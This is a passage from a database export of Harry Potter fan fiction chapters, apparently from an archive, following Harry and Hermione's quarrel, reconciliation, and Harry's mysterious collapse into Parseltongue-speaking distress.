sarcastic.&quot;</p>\n\n<p>I shook my head and shrugged. &quot;Nope, can&#8217;t think of a thing.&quot;</p>\n\n<p>	&quot;Oh come on!&quot; she demanded, throwing her quill down and turning to face me properly. &quot;There&#8217;s got to be something you don&#8217;t like about me. My hair, my eyes, my nose&#8230;anything!&quot;</p>\n\n<p>	&quot;Your hair&#8217;s gorgeous, your eyes are perfect and your nose is cute,&quot; I replied. &quot;What do you expect me to say?&quot;</p>\n\n<p>	&quot;That you despise the way I am and never want to see me ever again!&quot; she shouted.</p>\n\n<p>It took a second for her to realise what she&#8217;d said and slap her hand over her mouth. She shook her head as if in denial of what she&#8217;d just said aloud. </p>\n\n<p>Ron looked extremely shocked, sitting back in his seat and his eyes wide again. </p>\n\n<p>I just felt hurt. </p>\n\n<p>	&quot;Is that&#8230;um&#8230;really what you expected&#8230;me to say?&quot; I asked, my legs ready to break into a sprint at any second. I just needed to get out&#8230;just to go.</p>\n\n<p>	&quot;Mmmph,&quot; she replied, her hand still clamped securely over her mouth. From the way her eyes squinted shut after that, I could tell that she&#8217;d said yes.</p>\n\n<p>I stood up, knocking the chair back a little. &quot;I&#8230;err&#8230;need to get some air.&quot;</p>\n\n<p></p>\n\n<b><p>@@@@@@</p>\n\n</b>\n\n<p></p>\n\n<p>&quot;This stupid, bloody stupid, stupid potion,&quot; I repeated to myself over and over again as I looked over the Quidditch pitch. Sat in the Gryffindor seats, I could see all around the green. <br>\n\n</p>\n\n<p>A sigh, &quot;Shame there&#8217;s no antidote, isn&#8217;t it?&quot;</p>\n\n<p>Ron gave me half-smile as he sat down next to me, handing me a bottle of butterbeer and uncorking his own, letting the head fizz over the top before slurping it. &quot;Well, I think we should do the only manly thing I can think of.&quot;<br>\n\n</p>\n\n<p>	&quot;What&#8217;s that?&quot; I questioned taking a swig of the drink.<br>\n\n</p>\n\n<p>	&quot;I think we should owl Sirius and ask him about it,&quot; Ron replied. &quot;The Marauder&#8217;s had to have come up with something clever to get them out of a truth potion.&quot;<br>\n\n</p>\n\n<p>	&quot;No,&quot; I laughed. &quot;We should use old fashioned avoidance.&quot;<br>\n\n</p>\n\n<p>	&quot;Ha ha,&quot; Ron laughed sarcastically. &quot;Locking ourselves in a broom closet for a week won&#8217;t really work.&quot;</p>\n\n<p>	&quot;I&#8217;ll owl him tomorrow then,&quot; I concluded, yawning. </p>\n\n<p>	&quot;Seriously, you shouldn&#8217;t just run out like that,&quot; Ron said. &quot;Hermione&#8230;well, she kinda bolted it up to her room after that. I tried to go up to check on her, but Ginny was already in there. No dice.&quot;</p>\n\n<p>I sighed. &quot;Is that really what she thought I&#8217;d say? Am I really that stuck up about her?&quot;<br>\n\n</p>\n\n<p>	&quot;You do kinda have a goofy disposition when she&#8217;s around,&quot; Ron replied, throwing his cork up into the air and catching it again. </p>\n\n<p>	&quot;Disposition,&quot; I smiled. &quot;A big word for you, mate.&quot;<br>\n\n</p>\n\n<p>	&quot;Thank you,&quot; he said admiring the word he&#8217;d just used. &quot;I try, I try.&quot;<br>\n\n</p>\n\n<p>After a minute I thought about Lavender. &quot;Aren&#8217;t you bothered about Lavender?&quot;<br>\n\n</p>\n\n<p>	&quot;We&#8217;re always arguing,&quot; Ron replied. &quot;We&#8217;re just not right for each other. We never stop arguing, she&#8217;s a none stop critic&#8230;we&#8217;re just not compatible. Plus, Trelawney says that we&#8217;re &#8216;A match made in Heaven&#8217;, so you know we&#8217;re not gonna last &#8216;till the end.&quot;<br>\n\n</p>\n\n<p>I laughed. &quot;Why do I feel like I&#8217;m diagonally parked in a parallel universe?&quot;<br>\n\n</p>\n\n<p>	&quot;In all honesty,&quot; Ron said, furrowing his brow. &quot;I have no clue whatsoever.&quot;</p>\n\n<p></p>\n\n<b><p>@@@@@@</p>\n\n</b>\n\n<p></p>\n\n<p>Up in the Gryffindor Head Girl dorm, Hermione was pacing around on the floor, so much so that Ginny was sure a dint was forming. A long Hermione&#8217;s Feet shaped dint. </p>\n\n<p>	&quot;You&#8217;re gonna make yourself feel sick,&quot; Ginny said, sitting back against the headboard. &quot;Or give your legs a good workout.&quot;<br>\n\n</p>\n\n<p>Hermione shot Ginny a glare, a glare which basically said, &quot;I&#8217;ll hex you six ways from Sunday if you interrupt my train of thought again with something stupid.&quot;</p>\n\n<p>	&quot;Okay, sorry,&quot; Ginny muttered. She had to do something to help Hermione. Ron had come up before but Hermione had insisted that both Harry and she needed some space without each other, just to clear their heads a little. </p>\n\n<p>	&quot;You&#8217;ve pulled through worse with him,&quot; Ginny stated, sitting on the edge of the bed and toying with one of Hermione&#8217;s many open books balanced on her trunk. </p>\n\n<p>Hermione stopped in her footsteps and hugged herself, wrapping her arms around herself protectively. &quot;When Ginny? We&#8217;ve never had something like this happen. The worst argument we had started off about you and Draco&#8230;and now&#8230;&quot;</p>\n\n<p>She buried her face in her hands. &quot;What am I going to do, Ginny?&quot;</p>\n\n<p>	&quot;In all honesty Herm,&quot; Ginny shook her head. &quot;I don&#8217;t have the foggiest. But then again, it&#8217;s not like you and Harry are going to break up after something like this. Harry isn&#8217;t the type to dump you because of some stupid argument about basically nothing.&quot;<br>\n\n</p>\n\n<p>	&quot;But it wasn&#8217;t about basically nothing!&quot; Hermione replied. &quot;I told him, to his face, honestly, that I thought he was stupid for going out with me. That I thought he hated me.&quot;<br>\n\n</p>\n\n<p>	&quot;And do you think that?&quot; Ginny asked. </p>\n\n<p>Hermione breathed. She managed to get a normal breathing speed again and thought. &quot;I don&#8217;t know what I think. I&#8217;m all&#8230;jumbled up right now.&quot;<br>\n\n</p>\n\n<p>Ginny sighed and lay back on the bed. &quot;Just talk to him, Hermione. What&#8217;s the worst that could happen?&quot;</p>\n\n<p>Hermione scoffed, &quot;That&#8217;s exactly what Voldemort said to Professor Quirell. Just trust me, Ginny, some things are better off unsaid.&quot;</p>\n\n<p>Ginny stood up and walked to the door, opening it slightly. &quot;And some things are better off said.&quot;<br>\n\n</p>\n\n<b><p></p>\n\n<p>@@@@@@</p>\n\n</b><p></p>\n\n<p></p>\n\n<p>Hermione sighed when she walked into the bathroom. She looked at herself in the mirror and surveyed the internal and external damage her tears had caused. Water streaks had run down her cheeks and her eyes were bloodshot. </p>\n\n<p>	&quot;It&#8217;s not obvious you&#8217;ve been crying,&quot; she told herself as she splashed cold water onto her face. </p>\n\n<p>She grabbed hold of the burgundy towel lying on the towel rack and dried her face. Taking in another sigh, she left the bathroom and closed the door behind her. </p>\n\n<p>Not knowing where she was going entirely, Hermione walked into the Gryffindor common room only to find Harry sitting quietly in front of the fireplace. He was staring into the flames and breathing heavily on the odd occasion. </p>\n\n<p>Hermione took a few steps forward and sat down on the sofa near to harry. Since he hadn&#8217;t detected her presence, she unclasped her hair at the back of her neck and let it fall down over her robes. She watched Harry shift a little and cross his legs beneath him, still looking into the fire. </p>\n\n<p>Taking a deep breath and a chance, she thought. &quot;<i>I&#8217;m sorry.</i>&quot;</p>\n\n<p>Harry did an almost jump and turned to face her, his face wasn&#8217;t bearing his usual smile. &quot;You hurt me, you know.&quot;</p>\n\n<p>Hermione nodded. What could she say? No, she didn&#8217;t? She didn&#8217;t mean it? She could never mean something like that? No. She couldn&#8217;t lie to him. She&#8217;s said the truth; it&#8217;s been the truth all along. &quot;I&#8217;m sorry.&quot;</p>\n\n<p>Harry stood up and moved to sit next to Hermione, resting his hands on his knees but still looking into the fire. &quot;I guess I can&#8217;t call you a liar, can I?&quot;<br>\n\n</p>\n\n<p>She laughed, even though she didn&#8217;t mean too. &quot;No, I guess you can&#8217;t.&quot;<br>\n\n</p>\n\n<p>He moved a little more, putting his arm around the back of the sofa and moving into her a bit, hugging her closer to him with his actions. &quot;And I guess I can&#8217;t stay mad at you forever.&quot;</p>\n\n<p>	&quot;I guess not,&quot; Hermione smiled, knowing where this was going. </p>\n\n<p>She smiled as he kissed her, slowly, sensually and sweetly, like it was the first and the last time they&#8217;d ever kiss. Harry pulled away slowly, keeping his lips near to hers. </p>\n\n<p>	&quot;So, why don&#8217;t you and I, smile, kiss&#8230;&quot; Harry kissed her again. &quot;And forget about it for tonight. It&#8217;s done; it&#8217;s all over. And we have tonight.&quot;</p>\n\n<p>	&quot;Hmm,&quot; Hermione tried to say as Harry kissed her again. &quot;We have tonight.&quot;</p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p><br>\n\n</p>\n\n<p>\n\n<br>\n\n</p>\n\n<p></p>\n\n<p><br>\n\n</p>\n\n<p></p>\n\n<p>\n\n</p>\n\n<p></p>\n\n<p></p>\n\n '),
	(175, 10, ' <b><u><p>Something Strange</p>\n\n</u></b>\n\n<p></p>\n\n<p></p>\n\n<p>The first thing Hermione saw when she awoke was Harry.</p>\n\n<p>But it wasn&#8217;t just Harry. It was a very naked Harry lying beside her, an arm draped over her stomach and his breathing was light in her hair. </p>\n\n<p>She was sleeping next to Harry. In the nude. She was skyclad, lying next to Harry who was also naked. Her body tingled. It was strange because the way she felt wasn&#8217;t like she always did when she woke up. She felt vibrant. She felt oddly alive lying next to him, watching him breathing but at the same time, the lower half of her body ached like something had been nibbling on her during the night. </p>\n\n<p>She clutched at her stomach and sat up, kicking her legs out of the side of the bed. It couldn&#8217;t have happened, it just couldn&#8217;t have. They&#8217;d talked about taking everything fast, how they were going to take everything slowly instead and drag it all out. This wasn&#8217;t supposed to come for a while yet. She had a master plan going on and this wasn&#8217;t on it until at least seven and eight. </p>\n\n<p>Yet they&#8217;d done it. </p>\n\n<p>There was no mistake. Her bed was&#8230;glowing almost with an aura the colour of freshly cut grass. The magic surrounding her bed was intense and it was making her feel odd and alive. </p>\n\n<p>Harry stirred in his sleep when Hermione retrieved her clothes from the floor. She could remember last night. Every single detail was burned into her memory and something had made her continue even as her brain shouted no. It wasn&#8217;t Harry&#8217;s fault, he didn&#8217;t plead for anything&#8230;hell he didn&#8217;t even ask, she gave willingly. </p>\n\n<p>And that was what scared her.</p>\n\n<p>How could she be so careless with herself? That was her virginity she just lost. Admittedly it was to the man she loved, the man she hoped to marry someday but she wanted to give it in her own time when everything would be perfect. She was waiting for the perfect moment where it would just seem right to do it there and then. </p>\n\n<p>A part of her was telling her that she wanted it. Now it was all over and done with, she could get on with her life with Harry knowing that all the awkwardness was over and done with.</p>\n\n<p>But it wasn&#8217;t awkward and that&#8217;s what she couldn&#8217;t figure out.</p>\n\n<p>Her mother had told her that the first time is painful and awkward because boys are prodding and don&#8217;t know what they&#8217;re doing or what pleases. </p>\n\n<p>But Harry knew. Harry knew every inch of her body that tingled, he knew every single part that elicited some pleasure from her, he knew where to touch and how to touch. She knew that he&#8217;d been with other girls, that he&#8217;d lost his virginity along the line and was ashamed that he couldn&#8217;t get it back to give it to her. She just couldn&#8217;t bring herself to blame him for having Cho. It didn&#8217;t even matter know because she&#8217;d lost it to him and that was what mattered.</p>\n\n<p>She didn&#8217;t want to lose it like this though. She felt dirty, she felt awful and she felt ashamed for doing it in the first place. She wasn&#8217;t like this and the woman that came out last night definitely wasn&#8217;t Hermione Granger. </p>\n\n<p>Then why had Harry carried on if he could see it wasn&#8217;t like her?</p>\n\n<p>Her mind wanted to scream the blind answer, that he&#8217;d done it to satisfy himself and no one else. If he&#8217;d done that, he wouldn&#8217;t have held her afterward cuddling her to his chest. He wouldn&#8217;t have been Harry if he hadn&#8217;t loved her like that. </p>\n\n<p>Maybe that&#8217;s why he did it. Maybe he needed to prove that he loved her. Maybe he needed to prove how much he loved her. </p>\n\n<p>Her body shuddered when she took her dressing gown from the back of her door and slung it around her, tying the belt around her middle. She took a look at the naked Harry lying on her bed, sheets around his midriff sleeping peacefully. He grasped at the empty space in front of him while he slept, his brow furrowing even in his sleep. She smiled absently and walked over to the bed, sitting down on the edge. </p>\n\n<p>She contemplated waking him up and telling him that she needed some alone time to think. She needed to ask him why he carried on last night, why he didn&#8217;t make her stop. He wasn&#8217;t like anyone she&#8217;d met before, he wasn&#8217;t like any of the older boys she&#8217;d met who&#8217;d rip a skirt of a girl soon as look at her. He was different so why didn&#8217;t she feel different? </p>\n\n<p>Her bed looked magical but she didn&#8217;t feel that way.</p>\n\n<p>She lay down next to him and let him wrap his arm around her. It was soothing to have him there, her best friend always there to take her emergency call. She threaded her fingers through his hair and looked at his peaceful expression. He didn&#8217;t know what she was thinking, how could he know? He picked up on everything she did, like handing her the toast in the morning without a second thought but was she ready to go into that type of relationship where they depended on each other? Where they were intimate? Did she really think she was ready for something like that?</p>\n\n<p>She reached out and took her wand from her bedside table, casting a Morning-After charm upon herself. Thinking about what she was doing instead of the way Harry smiled when his arm reached around her, cuddling her up to him again, she managed to cast the charm successfully and felt something stirring inside her lower body. When the feeling finished, she was content just to lie there in his arms stroking his hair while he slept. </p>\n\n<p>A small tear slipped down her cheek but she closed her eyes and kissed his forehead. Something&#8217;s just have to change. </p>\n\n<p></p>\n\n<p></p>\n\n<p>~*~</p>\n\n<p></p>\n\n<p></p>\n\n<p>Hermione had been lying in his arms for what seemed like hours. She wanted to stay there; safe from the world but her own worries were mounting. She felt weak thinking about them and even worse when she looked at his face. </p>\n\n<p>Suddenly, Harry bolted upwards, a scream resounding from his throat and an almighty gasp rasping from his voice. His eyes were wide open, much wider than she&#8217;d ever seen them. His back was rigid and his face was looking up at the ceiling. She tried to touch him but Harry just screamed again then fell backwards, onto the pillows with a thud. </p>\n\n<p>He lay there motionless for a moment just breathing in the air he couldn&#8217;t get during his cream. His lungs seemed starved for air as he gulped the air down into his chest. His body was racked with sweat that come on suddenly, his temperature had shot through the roof and he looked terrified. He was white with horror at something that his eyes had seen. </p>\n\n<p>Carefully, Hermione stroked his hair and kissed his forehead. He own tears were threatening the slip out of her eyes and her body trembled. She was frightened. She&#8217;d never seen Harry like that. He&#8217;d screamed in his sleep before and she&#8217;d shared his bed when he&#8217;d had very bad nightmares but this was something she&#8217;d never seen before. </p>\n\n<p>Harry was terrified.</p>\n\n<p>He looked up and saw Hermione looking down at him. He looked several times at her, scanning her face before he melted into tears and wrapped his arms around her.</p>\n\n<p>	&quot;I&#8217;m sorry,&quot; he repeated over and over. &quot;I&#8217;m sorry, I&#8217;m sorry.&quot;<br>\n\n</p>\n\n<p>	&quot;Calm down,&quot; Hermione urged, stroking his temples slowly. &quot;Everything&#8217;s all right. You&#8217;re fine.&quot;<br>\n\n</p>\n\n<p>	&quot;I&#8217;m sorry,&quot; he repeated, clutching her too him while he wept into her dressing gown. </p>\n\n<p>With a look of boyish fright, he looked up into Hermione&#8217;s eyes, his own filled with tears and said, &quot;I&#8217;m scared.&quot;</p>\n\n<p>That&#8217;s all it took for Hermione to burst into tears and hold him closer, kissing his hair and whispering things to him. She didn&#8217;t know what he&#8217;d dreamt but something had frightened him badly. If she asked him now, he wouldn&#8217;t be able to reply. He looked terrified of his dreams and didn&#8217;t want to sleep anymore. He just wanted Hermione to hold him through the rest of the night, softly rocking him gently.</p>\n\n<p></p>\n\n<p>~*~</p>\n\n<p></p>\n\n<p></p>\n\n<p>	&quot;You look a wreck an&#8217; half,&quot; Ron said when Hermione came down for breakfast the next morning. </p>\n\n<p>She grabbed a piece of toast and began to butter it before grabbing a mug of coffee and downing it in one gulp.</p>\n\n<p>Ron watched amazed then asked, &quot;Rough night?&quot;<br>\n\n</p>\n\n<p>Hermione nodded. &quot;Something like that.&quot;<br>\n\n</p>\n\n<p>	&quot;So the hormonally imbalanced bunnies are taking driving lessons?&quot; Ron joked, folding his newspaper. &quot;Where&#8217;s the stud?&quot;<br>\n\n</p>\n\n<p>	&quot;In bed,&quot; Hermione replied, biting her toast and trying her best to wake herself up. &quot;He&#8217;s not coming down today. He had a bad night last night.&quot;<br>\n\n</p>\n\n<p>	&quot;Really that bad?&quot; Ron joked tucking the newspaper under his arm. </p>\n\n<p>Hermione shook her head. &quot;I&#8217;m not going to start with you at this time. He&#8217;s in his room if you want to go talk to him. If you do, go. If you don&#8217;t, leave me alone anyway.&quot;<br>\n\n</p>\n\n<p>Ron laughed. &quot;If that&#8217;s the way you feel&#8230;&quot;</p>\n\n<p>	&quot;It is,&quot; Hermione replied sternly. &quot;I need some time to think.&quot;</p>\n\n<p>Ron&#8217;s expression turned from laughter to concern and he sat down next to her, placing his newspaper on the table. &quot;Are you alright?&quot;<br>\n\n</p>\n\n<p>Hermione tried to say yes for a moment before she shook her head. She looked down at her lap and replied &quot;No.&quot;</p>\n\n<p>	&quot;Why?&quot; Ron asked, placing his hand comfortingly on her back. &quot;Did something happen last night?&quot;<br>\n\n</p>\n\n<p>	&quot;It&#8217;s not something I&#8217;d like to talk about Ron,&quot; Hermione said, tears threatening to fall. &quot;You&#8217;d better go and see Harry. Just&#8230;tell him to tell me if something&#8217;s wrong.&quot;</p>\n\n<p>With that, she got up and fled the Great Hall, walking very quickly out of the arches. </p>\n\n<p>Ron picked up his paper and headed for Harry&#8217;s room.</p>\n\n<p></p>\n\n<p>~*~</p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p>	&quot;Knock, knock!&quot; Ron joked, opening the door to Harry&#8217;s bedroom and walking inside. </p>\n\n<p>The room was empty. Harry wasn&#8217;t in it. The trunk at the end of the bed was open with it&#8217;s contents spewed everywhere and his bed was turned over and ripped to shreds, the stuffing falling out all over the bedroom. Ron climbed over pieces of broken pot and large wads of mattress stuffing to have a better view of the room. </p>\n\n<p>There was a crash and Ron whirled around drawing his wand and pointing it at the foe. Harry was sitting in a foetal position next to wall, curled up and looking helpless. His glasses were lying on the floor near to Ron&#8217;s feet. Carefully, Ron stooped and picked them up while moving towards Harry&#8217;s quivering form. He held them out for the young man to take and Harry snatched them form Ron, putting them back on his face and blinked a few times as if everything was coming into focus. </p>\n\n<p>	&quot;Harry?&quot; Ron asked, moving closer again. &quot;Are you okay, mate?&quot;<br>\n\n</p>\n\n<p>Harry twitched and shuddered a little and looked around the room as if trying to piece together where he was. </p>\n\n<p>	&quot;Harry?&quot; Ron asked again, stopping himself from moving further. &quot;Harry? It&#8217;s Ron, can you hear me?&quot;</p>\n\n<p>	&quot;Casss Threeesh Manesss,&quot; was the reply from Harry. His tongue slithered like a serpent&#8217;s when he pronounced the words; each word sounded like it was dripping in venom. </p>\n\n<p>It was Parsel Tongue. Harry was speaking in Parsel Tongue. Hermione had a regime for when something like this happened but because Ron was on his own this time, he had no clue what to do. He couldn&#8217;t leave the room in case Harry decided to bolt for it out of the seventh floor window. </p>\n\n<p>He thought about signalling from the window or shouting for help using his wand. It would be easy just to shout but the likely hood of someone standing around in the common room at this time on a Hogsmeade weekend was slim at best. He looked around the room to find something that was useful but the only thing standing in the corner was a rubber plant. </p>\n\n<p>Ron dismissed the idea of writing a note on the rubber plant and tossing it down the stairs. It would be pointless and cruelty to&#8230;an unbreakable plant, which would probably just bounce back up again into an upright position.</p>\n\n<p>&quot;Tell me what to do, Harry,&quot; Ron said, trying to find something, <i>anything</i> to get someone&#8217;s attention outside.</p>\n\n<p>A small train of thought was rushing through his mind. If he managed to get Harry down the stairs without serious injury, he could probably signal Dumbledore or one of the teachers from there using the fireplace. Of course, getting Harry downstairs was going to be the immediate problem. </p>\n\n<p>Ron moved closer to his friend, holding out his hand hesitantly, as Harry would leap forward and bite the thing off in one serpent-sized chomp. </p>\n\n<p>&quot;Harry?&quot; Ron tried, moving a little bit closer. &quot;I need you to trust me now. I need you to take my hand and we&#8217;ll go downstairs.&quot;<br>\n\n</p>\n\n<p>Harry shuddered and didn&#8217;t seem likely to co-operate anytime soon. Nevertheless, Harry stretched out his hand to meet Ron&#8217;s in the middle and took it furtively. Ron grasped Harry&#8217;s hand and went to pull his up but Harry pulled back, Ron nearly landed face first on the floor. He didn&#8217;t think Harry was that strong of a man yet. </p>\n\n<p>&quot;I can&#8217;t help unless we go downstairs,&quot; Ron pointed down to the floor and spoke to Harry like he was a small child. It was the only thing he could think of. Trying the old fireman&#8217;s lift and running downstairs with Harry slung over his shoulder wouldn&#8217;t exactly work for him. </p>\n\n<p>Harry let Ron pull him to his feet and stayed upright in a curled position, his hand covering his left ear while his right hand was being tugged by Ron. Ron noticed when Harry stood up, that the shirt Harry was wearing had been torn to pieces with massive shred holes in the shirt. They weren&#8217;t just tears though; they looked like scratches. </p>\n\n<p>Ron led Harry by the hand to the door and walked with him down the staircase. It took a few minutes for Harry to walk safely down the staircase, including several trips with Ron having to catch him when he fell. Eventually, they made it down the two flights of stairs and into the common room, where Harry sat down on the couch in front of the fire and curled up into a small ball, clutching his knees to his chest, protecting himself. </p>\n\n<p>With a flick of his wand, Dumbledore&#8217;s face appeared in the fireplace; half-moon spectacles still well placed on his nose. He looked over Ron&#8217;s shoulder at Harry lying on the couch and his eyes grew dark. </p>\n\n<p>	&quot;Am I to guess that something has gone quite wrong, Mr Weasley?&quot; He asked Ron, looking over the top of his spectacles. </p>\n\n<p>Ron nodded and looked back at Harry. &quot;I don&#8217;t know what&#8217;s happened, sir, but he&#8217;s a quivering pile of goo.&quot;</p>\n\n<p>Dumbledore smiled a little. &quot;Interesting analogy, Mr Weasley.&quot;</p>\n\n<p>Ron gave his usual corner grin as Dumbledore carried on. </p>\n\n<p>	&quot;Is he able to walk at all?&quot; Dumbledore asked.</p>\n\n<p>	&quot;Not very far,&quot; Ron replied. &quot;I had trouble getting him down the stairs. Getting him to the Hospital Wing will be a nightmare.&quot;<br>\n\n</p>\n\n<p>	&quot;And where is Ms. Granger?&quot; Dumbledore asked over his spectacles. Ron assumed that Dumbledore expected Hermione to be there, right along side them helping Harry, trying to come up with a charm to make him half-coherent but she was no where in sight.</p>\n\n<p>	&quot;I don&#8217;t know, sir,&quot; Ron said, finding himself feeling strangely responsible for Harry&#8217;s condition. &quot;I found him in his room, it&#8217;s a mess and he&#8217;s speaking Parsel Tongue. That&#8217;s all he&#8217;ll say.&quot;</p>\n\n<p>Dumbledore made one of those &#8216;hmm&#8217; sounds. The sound that drives you mad when you&#8217;re young because it&#8217;s the noise your parents make when they know something has gone wrong. Whether it be an exploding firecracker in your bother&#8217;s bedroom or finding Play Wizard magazines hidden in your sock drawer. If Ron wasn&#8217;t worried about his best friend, he probably would have thought all of this and then made himself laugh at the expensive of Professor Dumbledore&#8217;s verbal filler. Whatever the reason, Dumbledore was deeply in thought for a moment.</p>\n\n<p>	&quot;He only speaks Parsel Tongue?&quot; Dumbledore asked out of character. That fact seemed to surprise him the most. </p>\n\n<p>Ron nodded. &quot;He repeats it. A lot of serpent language like he&#8217;s speaking to someone in the room.&quot;<br>\n\n</p>\n\n<p>	&quot;Was they&#8217;re anyone in the room with you?&quot; Dumbledore questioned urgently. &quot;Anyone at all? Did you feel odd walking into the room? Did you feel any eyes on you at all?&quot;</p>\n\n<p>	&quot;None, sir,&quot; Ron replied. </p>\n\n<p>Dumbledore looked at Ron for a moment then over Ron&#8217;s shoulder at Harry, who was trying to sit himself upright and was muttering something in Parsel Tongue. You could tell when Harry was whispering it to himself because his tongue flicked out, rigid and pointy on the &#8216;s&#8217;. </p>\n\n<p>	&quot;I&#8217;ll have Poppy come down immediately,&quot; Dumbledore stated. &quot;Could you take him back up to bed, Mr Weasley?&quot;</p>\n\n<p>Ron shook his head. &quot;His bedroom is trashed, Professor.&quot;</p>\n\n<p>	&quot;Then keep him on the couch until we get there,&quot; Dumbledore replied. </p>\n\n<p>With that, Dumbledore&#8217;s face disappeared from the fireplace and was replaced with the flickering of the Gryffindor flames that burned around the clock no matter the weather outside. </p>\n\n<p>Ron stood up and walked back to Harry&#8217;s curled form on the sofa. </p>\n\n<p>	&quot;What happened to you, mate?&quot; Ron asked as he grabbed the tartan cover from the big chair and lay it over Harry&#8217;s shaking body. </p>\n\n<p>	&quot;Erruhessss dophierssss,&quot; Harry replied, shivering. </p>\n\n<p>Ron noticed that Harry&#8217;s lips were turning a dark shade of blue and his skin was pale. Whatever had happened had happened fast, between Hermione leaving Harry and Ron walking into Harry&#8217;s bedroom. Judging by the journey Ron took, it would only be ten minutes. That, he was sure, was something Dumbledore would take into consideration providing they wish to find out who did this to his friend. But, when Harry Potter is a resident at Hogwarts, anyone could be his enemy. Anyone from any house could have come in providing they knew the password and none of the other students did. </p>\n\n<p>So what could have happened?</p>\n\n<p>Unless it was Hermione.</p>\n\n<p>Ron banished the thought from his mind as soon as he thought of it. It was stupid to think that one of his best friends would turn on the other suddenly, even when they were so wrapped up in each other the world seemed like an overflowing blanket. Hermione would never in a million years sell Harry or himself out to the dark side, even under threat of death. She just wasn&#8217;t like that. </p>\n\n<p>But it was possible. Hermione knew almost every curse in the wizarding world by their fifth year. </p>\n\n<p>Ron shook his head. It just wasn&#8217;t possible to assume something like that. Hell, it wasn&#8217;t even probably possible to assume something like that. Ron just hoped that Remus and Sirius got to Hogwarts soon and help clear the mess up before it got out of hand. </p>\n\n<p>ogsmHogsmeade</p>\n\n<p><br>\n\n</p>\n\n<p><br>\n\n</p>\n\n<i>\n\n</i><p></p>\n\n '),
	(175, 11, ' <b><i><u><font size="2"></font></u><font size="2"></font></i></b><i><font size="2"><p><b><u>Rating</u>: - </b>PG</p>\n\n<b><u></u></b><p><b><u>Disclaimer</u>: - </b>I do not own any of this whatsoever.</p>\n\n<b><u></u></b><p><b><u>Spoilers</u>: - </b>Books 1-4.</p>\n\n<b><u></u></b><p><b><u>Pairing (if any</u>): - </b>H/Hr</p>\n\n<b><u></u></b><u></u><p><u><b>Author Note: - </b></u>Before I begin ranting and raving about how bad I think this chapter is&#8230;I&#8217;d like to thank all my reviewers and even the people who read this and never review. It still means a lot that you keep coming back. I&#8217;d also like to apologise for the lack of posts on my side. I haven&#8217;t updated as quickly as I&#8217;d like but I&#8217;ve had a lot to do recently, not least of which is my coursework and a wedding to plan. Still, I received some reviews of a few people complaining about the lack of posts and asking (as nicely as possible) for me to get my arse in gear and start posting. </p>\n\n<p>I know that this chapter is short but this is all I planned to put in this chapter in the first place. It gets a point across and more of the story line even if it&#8217;s not the BIG story line that I&#8217;m being berated for. All in due time. Be reassured that most of it is written and planned out and I&#8217;m just making some final checks and adding a bit more here and there before posting it up. With all speed and such, it should be posted by the next weekend, give or take a few hours because I work nights. </p>\n\n<p>Still, thanks for reading this and I hope you had a very Merry Christmas and a Happy New Year. </p>\n\n</font></i><font size="2">\n\n<p></p>\n\n<b><p></p>\n\n<p>~)*(~</p>\n\n</b></font><b><u><p></p>\n\n<p></p>\n\n<p>~) Unlikely Pitfalls (~</p>\n\n</u></b><font size="2">\n\n<p></p>\n\n<p>Hermione had found her way to the Library. Pushing the door open, she was met with the inevitable and homely smell of the old books lined up and musty. She revelled in the smell of the books, the old pages from hundreds of years ago still miraculously kept by Madame Pince in one room where she could sit and read all day long. It was marvellous. The feelings she got from just sitting in this room surrounded by all her favourite people in History. </p>\n\n<p>	Without hesitation, Hermione made her way to the back of the back of the Library. She felt at home there and it the place, apart from Harry&#8217;s arms, that she felt a peace.</p>\n\n<p>	She thought of Harry. </p>\n\n<p>	It wasn&#8217;t hard to think about him sitting up in his room, talking with Ron about what they&#8217;d just done. He wouldn&#8217;t describe it because she knew Harry wouldn&#8217;t be that careless with her love. Or would he? She didn&#8217;t know anymore. The only thing she knew for certain was that it&#8217;d been a mistake to do it this early on. Only last week, they were talking about taking things slowly, being more like the friends they were until everything was figured out properly. </p>\n\n<p>	They hadn&#8217;t even said &#8216;I love you&#8217;.</p>\n\n<p>	She&#8217;d wanted to hear that before going further with anyone. </p>\n\n<p>Of course, Harry would be having his first band practice of the year in a few days so he&#8217;d be making time to spend with Dean and Seamus rather than her. </p>\n\n<p>Why did she run out of her bedroom like that? What had scared her so badly that she just had to run? Was it the commitment to Harry at seventeen? Was it the feeling of wanting to be with him forever and not feeling it from him? </p>\n\n<p>Was she just frightened of what could have happened?</p>\n\n<p></p>\n\n<p></p>\n\n<p>~)*(~</p>\n\n<p></p>\n\n<p></p>\n\n<p>&quot;Interesting,&quot; said Madame Pomfrey, looking questioningly at Harry&#8217;s quivering form as he lay on the Hospital sheets. He was curled into a foetal position and was nibbling at his knuckles while speaking softly to himself in short, wild bursts. </p>\n\n<p>&quot;What&#8217;s interesting?&quot; Ron asked, sitting down next to Harry in one of the chairs.</p>\n\n<p>Madame Pomfrey looked from Harry to Ron with a disapproving look on her face. &quot;I don&#8217;t think you should be in here, Mr Weasley.&quot;</p>\n\n<p>&quot;I think I should be with my friend,&quot; Ron replied indignantly. &quot;I can&#8217;t find Hermione so I&#8217;m the next best thing.&quot;</p>\n\n<p>Madame Pomfrey moved give Ron a tongue-lashing but Professor Dumbledore put a hand on her shoulder to hold her back, saying in her ear that Ron should stay with Harry unless he is direly needed elsewhere. With much hesitation, Madame Pomfrey agreed but still threw Ron a disapproving look that said more than her tongue-lashing could have done.</p>\n\n<p>&quot;Have you concluded anything, Poppy?&quot; Professor Dumbledore inquired, standing his full height and looking at her through his half-moon spectacles. </p>\n\n<p>&quot;It could be a state of shock, it could be a curse, a charm,&quot; she said taking her handkerchief from her pocket and blowing her nose. &quot;I have absolutely no idea.&quot;</p>\n\n<p>&quot;Would it help if we had Severus up here? Or Filus?&quot; Dumbledore asked. </p>\n\n<p>Madame Pomfrey gave a curt nod and replied a simple, &quot;Yes.&quot;<br>\n\n</p>\n\n<p>Dumbledore turned and walked through the doors in the Hospital Wing, his robes blowing after him. </p>\n\n<p>Madame Pomfrey turned back to Harry and Ron and shook her head. &quot;I can&#8217;t go one year without having either one of you in here.&quot;<br>\n\n</p>\n\n<p>&quot;We like to put the Hospital Wing to good use, Miss,&quot; Ron replied with a grin on his face the size a watermelon slice. </p>\n\n<p>Madame Pomfrey made a tutting sound with her tongue and bustled around the Hospital wing, looking for something that could have been under the beds for all she knew as she stooped low to have a look under one of the white sheet covered beds. She finally gave a <i>tut</i> with her tongue again and moved back to Harry and Ron. With a sigh, she looked at 